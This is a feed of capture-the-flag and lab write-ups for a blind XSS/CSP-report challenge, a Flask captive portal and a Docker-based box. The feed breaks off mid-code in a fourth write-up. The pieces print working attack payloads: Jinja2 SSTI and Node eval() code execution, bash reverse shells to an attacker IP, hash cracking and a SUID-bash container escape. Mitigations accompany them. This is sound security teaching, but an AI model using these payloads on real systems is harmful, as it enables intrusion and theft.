DEV Community: Yogeshwar Peela

WebVersePro : SnowedOut writeup

Yogeshwar Peela — Tue, 01 Sep 2026 13:03:18 +0000

1. Overview

The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a zone GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.

2. Recon

Fetching the root page:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/

Three things stand out in the HTML:

The zone value is reflected into an inline <script> block that builds a config object:

  <script nonce="...">
  var CFG = {zone:"Citywide", center:[44.86,-93.42], updatedEvery:900};
  </script>

A hidden solve banner sits in the markup, unused until triggered:

  <div id="wv-solve" class="pt-solve" hidden></div>

poll.js polls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:

  fetch("/__status.php", { credentials: "include" })
    .then(r => r.json())
    .then(d => { if (d && d.solved && d.flag) reveal(d.flag); });

Checking that endpoint directly confirms a simple state machine:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
# {"solved":false,"flag":null}

So the actual win condition is flipping solved to true server-side - not merely getting an alert() box to pop in a browser. robots.txt and the other static assets (map.js, plow.css) contain nothing else of interest; map.js reads CFG.zone and writes it back to the DOM safely via textContent.

3. Confirming the Injection Point

Testing whether zone is escaped when reflected into the inline script:

curl -s 'https://.../?zone=test123' | grep -o 'var CFG = {.*}'
# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};

Trying to break out of the string with a JS-context payload:

curl -s -G 'https://.../' --data-urlencode 'zone="};alert(1);//' \
  | grep -o 'var CFG = {.*}'

var CFG = {zone:""};alert(1);//", center:[44.86,-93.42], updatedEvery:900};

The value is interpolated into the script with no escaping of quotes. zone:"" closes the string and the object literal early, }; ends the statement, alert(1); becomes live JavaScript, and the trailing // comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the alert(1) fires.

4. Reading the CSP Header

curl -s -I https://.../ | grep -i content-security

content-security-policy-report-only: default-src 'self'; script-src 'nonce-<per-response>' 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; report-uri /__csp-report.php

Two details matter:

It's Content-Security-Policy-Report-Only, not an enforcing Content-Security-Policy. Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injected alert(1) from running.
Even if it were enforcing, the nonce wouldn't help here. The injected code isn't a new <script> tag - it executes inside the same inline <script nonce="..."> block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.

The policy does point violation reports at a dedicated endpoint, /__csp-report.php - worth noting for later.

5. Dead Ends: Chasing a Classic XSS Detector

Before finding the real solve condition, it's worth documenting what doesn't work, since this challenge deliberately avoids the usual patterns:

Just popping alert(1) and re-checking /__status.php - no change. There's no headless browser on the server watching for a JS-level side effect from a single request.
Exfiltrating to an external webhook (fetch("https://webhook.site/...") injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.
Directly POSTing to /__status.php (e.g. -d 'solved=true') - rejected; the endpoint doesn't accept client-supplied state.

This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.

6. The Actual Solve Condition

Since the CSP is report-only and report-uri points at /__csp-report.php, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.

Sending a crafted report that matches the shape a real browser would produce for this exact policy:

curl -s -X POST 'https://.../__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{
    "csp-report": {
      "document-uri": "https://.../?zone=test",
      "violated-directive": "script-src",
      "original-policy": "default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php",
      "blocked-uri": "inline",
      "source-file": "https://.../?zone=test",
      "line-number": 1,
      "column-number": 1,
      "status-code": 200
    }
  }' \
  -c cookies.txt

Server responds 204 No Content and sets a session cookie. Re-checking the status endpoint with that cookie:

curl -s -b cookies.txt https://.../__status.php

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

The session is now marked solved, and poll.js in a real browser would reveal the on-page banner with the flag.

7. Full Reproduction (Copy-Paste)

# 1. Confirm the JS-context injection (optional, for verification)
curl -s -G 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/' \
  --data-urlencode 'zone="};alert(1);//' | grep -o 'var CFG = {.*}'

# 2. Submit a CSP violation report matching the page's policy, saving the session cookie
curl -s -X POST 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}' \
  -c cookies.txt

# 3. Retrieve the flag
curl -s -b cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php

Result:

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

8. Root Cause

Unescaped reflection into a JS string literal. The zone query parameter is written directly into an inline <script> block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.
CSP deployed in report-only mode. A correctly configured nonce-based script-src would ordinarily stop injected <script> tags, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.
The report endpoint trusts client-submitted reports as proof of exploitation, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.

9. Fix Recommendations

Never interpolate user input into inline <script> source via string concatenation. Encode values with JSON.stringify() (escaping <, >, &, and quotes) before embedding them, or better, pass data via a data-* attribute and read it with textContent/getAttribute, as map.js already does safely elsewhere on this page.
Enforce the CSP (Content-Security-Policy, not -Report-Only) so that even if an injection point exists, arbitrary inline script still can't execute.
If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate document-uri/blocked-uri with a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.

HackSmarter - Casino Writeup

Yogeshwar Peela — Tue, 25 Aug 2026 13:04:45 +0000

Summary

Casino is a Flask-based "Guest WiFi & Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (/api/v1/rooms/status) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a display_name field on /profile that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as www-data inside the app's Docker container. From there, a readable .bash_history in another user's home directory leaks a plaintext MySQL password that gets reused as a local su password, and group membership in adm grants read access to a provisioning log containing the root sync credential, which fully compromises the host.

Recon

Full TCP scan:

nmap -A -p- <MACHINE-IP> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi & Portal".

Content discovery:

dirsearch -u http://<MACHINE-IP>/ -x 403,404

[07:42:29] 200 -    5KB - /login

whatweb http://<MACHINE-IP>/

http://<MACHINE-IP>/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://<MACHINE-IP>/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...

Everything unauthenticated redirects to /login, which is a captive-portal-style form asking for a room number and a guest's last name.

Source map leak → unauthenticated API disclosure

The login page loads a minified script:

curl http://<MACHINE-IP>/static/js/app.min.js

function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");}document.addEventListener("DOMContentLoaded",initPortal);
//# sourceMappingURL=app.min.js.map

The sourcemap reference is still deployed and readable:

curl http://<MACHINE-IP>/static/js/app.min.js.map

{
  "version": 3,
  "file": "app.min.js",
  "sources": ["src/api/roomVerification.js"],
  "sourcesContent": [
    "// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}"
  ]
}

This is dead code (the minified bundle never actually calls checkRoomStatus), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at /api/v1/rooms/status. Hitting it directly, with no session and no auth:

curl 'http://<MACHINE-IP>/api/v1/rooms/status?status=occupied'

{
  "filter": "occupied",
  "rooms": [
    { "checkout": "2026-08-11", "guest_name": "[REDACTED]", "id": 1, "room_number": "[REDACTED]", "status": "occupied", "tier": "Standard Guest" },
    ...
    { "checkout": "2026-08-13", "guest_name": "[REDACTED]", "id": 98, "room_number": "[REDACTED]", "status": "occupied", "tier": "VIP Premium" }
  ],
  "status": "success",
  "total_records": 100
}

The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with room_number and guest_name (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.

Login bypass via leaked guest data

Picking an arbitrary entry (room [REDACTED], last name [REDACTED]) and logging in:

curl -i -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/login' \
  -d 'room_number=[REDACTED]' \
  -d 'last_name=[REDACTED]'

HTTP/1.1 302 FOUND
Location: /dashboard
Set-Cookie: session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/

The session cookie is enough to reach /dashboard, which now greets us as "[REDACTED]" in Room [REDACTED]: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.

SSTI discovery on /profile

The dashboard links to /profile, which has a single editable field, display_name, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  -d 'display_name={{7*7}}'

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, 49!</h5>
<input ... value="49" required>

{{7*7}} evaluated to 49, the field is passed straight into a Jinja2 render_template_string-style call with no sanitization or sandboxing. This is a textbook server-side template injection.

First RCE attempt — failed (shell quoting, not a WAF)

The obvious next step is breaking out to os.popen through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted -d arguments containing embedded single quotes around identifiers like 'os' and 'id'. Both attempts came back as HTTP/1.1 500 INTERNAL SERVER ERROR.

It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.

In POSIX shells, a ' always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal ' appears:

'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'

os and id are then evaluated as unquoted shell words, not literal text. Since there's no os or id command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers os and id are no longer inside quotes at all, from Jinja2's point of view that's a Python NameError / syntax error (os and id are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. -d also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.

The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in double quotes (so the payload's single quotes survive literally) and switching to --data-urlencode (so reserved characters like {, }, and spaces are sent correctly instead of raw) resolves it cleanly.

Successful RCE via `--data-urlencode`

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('id').read() }}"

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!</h5>
<input ... value="uid=33(www-data) gid=33(www-data) groups=33(www-data)
" required>

lipsum is one of Jinja2's default globals ({{ lipsum }} for generating placeholder text) and, like cycler, exposes __globals__ even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, os.popen('id').read() executes server-side and confirms code execution as www-data.

Reverse shell

With confirmed RCE, catching a shell with penelope:

penelope listen -p 4444

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1\"').read() }}"

[+] [New Reverse Shell] => 5ee06b607cca <MACHINE-IP> Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] Agent deployed via /usr/local/bin/python3

www-data@5ee06b607cca:/app/app$ whoami
www-data
www-data@5ee06b607cca:/app/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirming we're inside a Docker container

The shell prompt (5ee06b607cca) is a container-ID-style hostname, not a normal host name, and the app root confirms it:

www-data@5ee06b607cca:/app/app$ cd ..
www-data@5ee06b607cca:/app$ ls
Dockerfile  app  docker-compose.yml  entrypoint.sh  requirements.txt  scripts  start.sh  supervisord.conf
www-data@5ee06b607cca:/app$ cat Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap 'cap_net_bind_service=+ep' $(readlink -f $(which python3))
RUN mkdir -p /var/run/sshd
RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt
COPY . /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN chmod +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT ["/app/entrypoint.sh"]

So the whole box is a single Docker container running Flask (via supervisord), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.

App source, confirming the SSTI sink lives in the Flask route backing /profile (app.py) and that guest data is pulled from a local SQLite DB seeded at build time (database.py, deterministically seeded with random.seed(42), which is exactly why the guest API dump above was reproducible/enumerable):

www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data  4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data  4300 Aug  9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug  9 22:30 resort.db

Local enumeration → password reuse

www-data@5ee06b607cca:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app$ ls /home
david  george

Both george's and david's home directories are world-readable, and george's has a .bash_history sitting there with www-data permissions to read:

www-data@5ee06b607cca:/home/george$ cat .bash_history
cd /var/www/app
...
cd /home/george
ls -la
ssh-keygen -t rsa -b 2048
cat .ssh/id_rsa.pub >> .ssh/authorized_keys
chmod 644 .ssh/id_rsa
sudo systemctl restart ssh
...
su david
[REDACTED]
exit
history -c
mysql -u david -p'[REDACTED]' -h 127.0.0.1 resort_db
...

Two findings here:

chmod 644 .ssh/id_rsa: george made his own SSH private key world-readable (this is exactly the user.txt flag's hint).
su david / [REDACTED]: george typed david's su password directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.

george's user flag is readable directly as www-data:

www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}

Privilege escalation → david

www-data@5ee06b607cca:/home/george$ su david
Password: 
david@5ee06b607cca:/home/george$ id
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)

david isn't in sudoers:

david@5ee06b607cca:~$ sudo -l
[sudo] password for david: 
Sorry, user david may not run sudo on 5ee06b607cca.

But david is a member of the adm group, which on Debian/Ubuntu grants read access to most of /var/log, including files that are 640 root:adm:

david@5ee06b607cca:~$ ls -la /var/log
-rw-r----- 1 root adm     612 Aug 25 11:35 provisioning.log

david@5ee06b607cca:~$ grep -r root /var/log
/var/log/provisioning.log:2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
/var/log/provisioning.log:2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: [REDACTED]

A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in adm.

Root

david@5ee06b607cca:~$ su root
Password: 
root@5ee06b607cca:/home/david# whoami
root
root@5ee06b607cca:~# cat root.txt
HSM{REDACTED}

Attack Chain

Unauthenticated /login
        │
        ▼
Leaked sourcemap (app.min.js.map)
        │  reveals internal kiosk API path
        ▼
GET /api/v1/rooms/status?status=occupied  (no auth)
        │  dumps room_number + guest_name for all 100 guests
        ▼
POST /login  (room_number=[REDACTED], last_name=[REDACTED])
        │  guest account takeover via leaked data
        ▼
/profile → display_name reflected unsanitized
        │  Jinja2 SSTI ({{7*7}} → 49)
        ▼
{{ lipsum.__globals__['os'].popen(...) }}   [--data-urlencode fixes shell-quoting break]
        │  RCE as www-data (inside Docker container)
        ▼
Readable /home/george/.bash_history
        │  leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
        ▼
su david  (adm group membership)
        │  read access to /var/log/provisioning.log
        ▼
Plaintext root password in provisioning.log
        │
        ▼
su root → root.txt

Key Vulnerabilities & Mitigations

#	Vulnerability	Impact	Mitigation
1	Deployed JS sourcemap (`app.min.js.map`) leaks internal API path	Recon → exposes hidden endpoint	Never ship `.map` files to production; strip source maps in the build pipeline
2	`/api/v1/rooms/status` has no authentication	Full guest PII dump (room + last name), enables login bypass	Require session/auth on all internal APIs; never trust "kiosk-only" obscurity
3	Guest login only checks room number + last name (both leaked by #2)	Account takeover of any guest	Add a real secret (booking reference, OTP) not derivable from other endpoints
4	`display_name` rendered via unsandboxed Jinja2 (`render_template_string`)	Server-side template injection → RCE as `www-data`	Never pass user input into `render_template_string`; use `render_template` with a fixed template and pass data as a context variable only
5	World-readable `george` and `david` home directories, a `.bash_history` with credentials, and a self-chmod'd `644` SSH private key	Credential and key disclosure to any local user	`chmod 700` home directories, never type passwords on the command line, disable/clear history for sensitive commands, `chmod 600` private keys
6	Password reuse between `su` login and MySQL account	One leaked credential compromises multiple services	Unique credentials per service, use a secrets manager
7	`adm` group grants read access to `/var/log`, and a provisioning script logged the root password at DEBUG level	Local user → root	Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts

TryHackMe : Umbrella Writeup

Yogeshwar Peela — Mon, 24 Aug 2026 10:28:43 +0000

Introduction

Umbrella is a medium-difficulty TryHackMe box built around a leaky Docker registry, an exposed Node.js time-tracking application, and a classic writable-log privilege escalation. The path goes: enumerate an unauthenticated Docker Registry API, extract a hardcoded database password from an image's build history, dump and crack MySQL credentials, log into the web app with a valid pair, abuse an eval() code execution flaw in the time-tracking feature to get a reverse shell inside the app's container, and finally pivot from a shared, container-writable log directory into a root shell on the host via a SUID bash binary.

Throughout this writeup, <machine-ip> refers to the target box and <attacker-ip> refers to the attacking Kali host.

Reconnaissance

Started with a standard aggressive Nmap scan against the target.

nmap -A -Pn <machine-ip> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.40
5000/tcp open  http    Docker Registry (API: 2.0)
8080/tcp open  http    Node.js (Express middleware)

Four open ports: SSH, a directly exposed MySQL instance, a Docker Registry API on 5000, and an Express-based web app on 8080.

Checking the web app first:

curl http://<machine-ip>:8080/

Returned a simple login form posting to /auth, nothing more without credentials.

The Docker Registry on port 5000 was more interesting - it's rare to see this exposed directly, and when it's unauthenticated it turns into a straightforward source of credentials and app internals.

Enumerating the Docker Registry

Docker Registry API v2 exposes a predictable set of endpoints when there's no auth in front of it. Started with the catalog:

curl http://<machine-ip>:5000/v2/_catalog

{"repositories":["umbrella/timetracking"]}

One repository: umbrella/timetracking. Pulled its tags:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/tags/list

{"name":"umbrella/timetracking","tags":["latest"]}

Then pulled the image manifest for latest:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/manifests/latest

The manifest's history array contains the full v1Compatibility build history for every layer, including every ENV instruction baked into the image at build time. Buried in the first history entry's config.Env list:

"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"NODE_VERSION=19.3.0",
"YARN_VERSION=1.22.19",
"DB_HOST=db",
"DB_USER=root",
"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5",
"DB_DATABASE=timetracking",
"LOG_FILE=/logs/tt.log"]

A full set of MySQL credentials, straight out of the image build metadata, with zero need to pull or extract a single layer blob.

MySQL Access and Credential Dump

The MySQL client failed initially over a self-signed cert:

mysql -h <machine-ip>
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

Disabling SSL verification and authenticating as root with the password pulled from the registry got a shell:

mysql -h <machine-ip> -u root --ssl=0 -p

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| timetracking       |
+--------------------+

MySQL [(none)]> use timetracking;
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users                  |
+------------------------+

MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+

Four users, each with an MD5 hash and an accumulated "time spent" value tied to the app's core feature. barry-b's time value was a massive outlier compared to the rest, which turned out to be relevant later.

Cracked all four hashes with John and rockyou:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

letmein          (?)
sunshine1         (?)
Password1         (?)
sandwich          (?)
4g 0:00:00:00 DONE

Matched each cracked password back to its hash with echo -n <pass> | md5sum to build the full mapping:

user	password
claire-r	Password1
chris-r	letmein
jill-v	sunshine1
barry-b	sandwich

Foothold

None of the four pairs worked against the web app's /auth endpoint - every attempt redirected straight back to the login page. SSH was the actual match: only claire-r:Password1 authenticated successfully.

ssh claire-r@<machine-ip>

claire-r@ip-<machine-ip>:~$ id
uid=1001(claire-r) gid=1001(claire-r) groups=1001(claire-r)

Grabbed the user flag immediately:

claire-r@ip-<machine-ip>:~$ cat user.txt
THM{redacted}

sudo -l confirmed no sudo rights for this account, so the next step was exploring the home directory for anything left behind.

Source Code Review and RCE

Claire's home directory contained a full copy of the app's source, timeTracker-src, including app.js, the docker-compose.yml, and a live-writable logs/ directory. The docker-compose.yml confirmed the container layout:

version: '3.3'
services:
  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: 'timetracking'
      MYSQL_ROOT_PASSWORD: 'Ng1-f3!Pe7-e5?Nf3xe5'
    ports:
      - '3306:3306'
    volumes:
      - ./db:/docker-entrypoint-initdb.d
  app:
    image: umbrella/timetracking:latest
    restart: always
    ports:
      - '8080:8080'
    volumes:
      - ./logs:/logs

Critically, ./logs:/logs is a bind mount - the logs directory on the host filesystem is the exact same directory the app container writes to, and it's writable by claire-r (drwxrw-rw-).

The vulnerability was in app.js, in the /time route handler:

app.post('/time', function(request, response) {
    if (request.session.loggedin && request.session.username) {
        let timeCalc = parseInt(eval(request.body.time));
        let time = isNaN(timeCalc) ? 0 : timeCalc;
        let username = request.session.username;
        connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], ...);
    }
});

The time field submitted on the "Increase time spent" form goes straight into eval(). The app even advertises this in its own UI as a feature ("Pro Tip: You can also use mathematical expressions, e.g. 5+4"), which is exactly the kind of hint that turns into unauthenticated-adjacent RCE.

Logged into the web app as claire-r:Password1, then submitted the following as the "time" value on /time:

require('child_process').exec('bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"')

eval() executed the payload server-side inside the app container, and a reverse shell landed on a listener on port 4444:

root@de0610f51845:/usr/src/app# whoami
root
root@de0610f51845:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)

Root inside the container - but this is an isolated Docker container, not the host, and docker wasn't even installed inside it to pivot from. The way out was the shared bind mount identified earlier.

Privilege Escalation via Shared Log Volume

Since /logs inside the container is the same filesystem location as ~/timeTracker-src/logs on the host, and the app container is running as root, anything written to /logs from inside the container lands on the host owned by root - with the app's own filesystem permissions.

Confirmed the mount was shared by writing a test file from inside the container:

root@de0610f51845:~# echo 'test' > /logs/test

claire-r@ip-<machine-ip>:~/timeTracker-src$ cat logs/test
test

From there, the plan was simple: drop a copy of bash into the shared directory from the root-owned container side, then set the SUID bit on it - also from the container, since claire-r has no permission to chmod as root, but root inside the container writing to a bind-mounted host directory doesn't care about that boundary.

root@de0610f51845:~# cp /bin/bash /logs/bash
root@de0610f51845:~# chmod 4777 /logs/bash

Back on the SSH session as claire-r:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ ls -la bash
-rwsrwxrwx 1 root root 1234376 Aug 24 10:16 bash

SUID bit set, owned by root. Running it with -p to preserve privileges on exec:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ /home/claire-r/timeTracker-src/logs/bash -p
bash-5.1# whoami
root

Root shell on the host. Grabbed the final flag:

bash-5.1# cat /root/root.txt
THM{redacted}

Attack Chain Summary

Nmap reveals SSH, exposed MySQL, an unauthenticated Docker Registry (5000), and an Express web app (8080).
Docker Registry API's manifest history leaks hardcoded MySQL root credentials via build-time ENV instructions.
Those credentials authenticate directly to the exposed MySQL instance, dumping the app's users table (MD5 password hashes).
rockyou + John cracks all four hashes in seconds - weak, dictionary-guessable passwords.
Credential pair claire-r:Password1 doesn't work on the web app but does work over SSH, giving an initial low-privilege foothold and the user flag.
Local source code review of the app reveals an eval() on user-controlled input in the /time endpoint.
Authenticated RCE via eval() gets a reverse shell as root - but inside an isolated Docker container.
The container's docker-compose.yml shows a bind-mounted logs volume shared with the host. Root inside the container drops a SUID-root bash binary into that shared path.
The host-side low-privilege user executes the now-SUID binary with -p, landing a root shell on the host itself and the root flag.

Key Vulnerabilities

Unauthenticated Docker Registry API exposing image manifests and build history to anyone on the network.
Hardcoded secrets in Docker image build args/ENV (DB_PASS baked directly into the image instead of injected at runtime via secrets management).
Directly internet/network-exposed database (MySQL bound to 0.0.0.0 reachable from outside the app container).
Weak, dictionary-crackable user passwords stored as unsalted MD5 hashes.
Unsafe use of eval() on user-controlled input, enabling authenticated remote code execution in the Node.js app.
Docker bind mount shared between a root-running container and a lower-privileged host user, allowing container-root writes to become host-root-owned SUID binaries - a container escape via shared filesystem rather than kernel exploitation.

Mitigations

Require authentication (and TLS) on the Docker Registry API; never expose /v2/_catalog or manifest endpoints to untrusted networks.
Never bake credentials into image layers or ENV instructions - inject secrets at runtime via a secrets manager, Docker secrets, or environment injection that doesn't persist in image history.
Restrict MySQL to internal/container-network access only; it should not be reachable from outside the Docker host at all, let alone from the public network.
Enforce strong password policies and use a slow, salted hashing algorithm (bcrypt/argon2) instead of unsalted MD5 for stored credentials.
Never pass user input into eval(), Function(), or child_process.exec() without strict validation; use a safe math-expression parser (e.g. mathjs with restricted scope) if arithmetic input is genuinely needed.
Avoid bind-mounting host directories into containers that run as root unless strictly necessary; when required, run the container process as a non-root UID and set the mount rw only for the specific low-privilege user/group that needs it, never leaving it world-writable from both sides.
Regularly audit containers for unnecessary volume mounts and drop unneeded Linux capabilities (--cap-drop=ALL) to reduce the blast radius of an in-container RCE.

BrunnerCTF 2026 : Half Backed Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 16:10:09 +0000

Summary

half_baked.py defines a BrunsvigerCake model with six nn.Linear
layers, each with real pretrained weights and biases already assigned, but
forward() just returns the input untouched - none of the layers are
called. The layer dimensions only connect in one valid order, so the
correct chain can be recovered purely from each layer's in_features /
out_features. The prompt's "add yeast to activate all the ingredients"
hint means inserting an activation function (ReLU) between each step -
without it the whole stack collapses into one linear map. Running the
completed chain on a zero vector produces 50 output values that decode to
ASCII, spelling the flag.

1. Recon - six named layers, no wiring

class BrunsvigerCake(nn.Module):
    def __init__(self):
        super().__init__()
        self.zephyr  = nn.Linear(18, 13)
        self.thistle = nn.Linear(15, 14)
        self.nimbus  = nn.Linear(10, 50)
